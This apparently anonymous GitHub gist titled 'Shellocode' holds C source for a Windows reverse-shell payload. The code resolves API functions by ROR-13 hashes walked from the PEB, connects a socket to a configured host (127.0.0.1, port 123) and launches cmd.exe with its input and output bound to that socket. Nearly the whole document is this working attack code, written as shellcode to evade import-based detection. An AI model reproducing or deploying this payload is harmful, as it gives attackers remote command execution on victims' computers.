Skip to content

Instantly share code, notes, and snippets.

Created February 14, 2016 12:30
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/e0915cadaded9469286a to your computer and use it in GitHub Desktop.
Save anonymous/e0915cadaded9469286a to your computer and use it in GitHub Desktop.
Shellocode
#include <WinSock2.h> // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
_inline PEB *get_peb() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
#define ROR_SHIFT 13
constexpr DWORD ct_ror(DWORD n) {
return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
}
constexpr char ct_upper(const char c) {
return (c >= 'a') ? (c - ('a' - 'A')) : c;
}
constexpr DWORD ct_hash(const char *str, DWORD sum = 0) {
return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum;
}
DWORD rt_hash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); // ROR h, 13
h += *str >= 'a' ? *str - ('a' - 'A') : *str; // convert the character to uppercase
str++;
}
return h;
}
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = get_peb();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = rt_hash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + rt_hash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
} while (ptr != first);
return NULL; // address not found
}
#define DEFINE_FUNC_PTR(module, function) \
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \
typedef decltype(function) type_##function; \
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
#define DEFINE_FWD_FUNC_PTR(module, real_func, function) \
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \
typedef decltype(function) type_##function; \
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
int main() {
// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
// they're not strictly needed.
BYTE b0[] = {'w','s','2','_','3','2','.','d','l','l',0};
BYTE b1[] = {'1','2','7','.','0','.','0','.','1',0};
//long string for example
BYTE b2[] = {'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','c','m','d','.','e','x','e',0};
char *sock_lib = (char *)&b0[0];
char *r_name = (char *)&b1[0];
int r_port = 123;
char *cmd = (char *)&b2[0];
DEFINE_FUNC_PTR("kernel32.dll", LoadLibraryA);
LoadLibraryA(sock_lib);
DEFINE_FUNC_PTR("ws2_32.dll", WSAStartup);
DEFINE_FUNC_PTR("ws2_32.dll", WSASocketA);
DEFINE_FUNC_PTR("ws2_32.dll", WSAConnect);
DEFINE_FUNC_PTR("kernel32.dll", CreateProcessA);
DEFINE_FUNC_PTR("ws2_32.dll", inet_addr);
DEFINE_FUNC_PTR("ws2_32.dll", getaddrinfo);
DEFINE_FUNC_PTR("ws2_32.dll", getnameinfo);
DEFINE_FWD_FUNC_PTR("ntdll.dll", "RtlExitUserThread", ExitThread);
DEFINE_FUNC_PTR("kernel32.dll", WaitForSingleObject);
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
goto __end; // error
SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
goto __end;
addrinfo *result;
if (getaddrinfo(r_name, NULL, NULL, &result))
goto __end;
char ip_addr[16];
getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
SOCKADDR_IN remoteAddr;
remoteAddr.sin_family = AF_INET;
remoteAddr.sin_port = htons(r_port);
remoteAddr.sin_addr.s_addr = inet_addr(ip_addr);
if (WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
goto __end;
STARTUPINFOA sInfo;
PROCESS_INFORMATION procInfo;
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
// Waits for the process to finish.
WaitForSingleObject(procInfo.hProcess, INFINITE);
__end:
ExitThread(0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment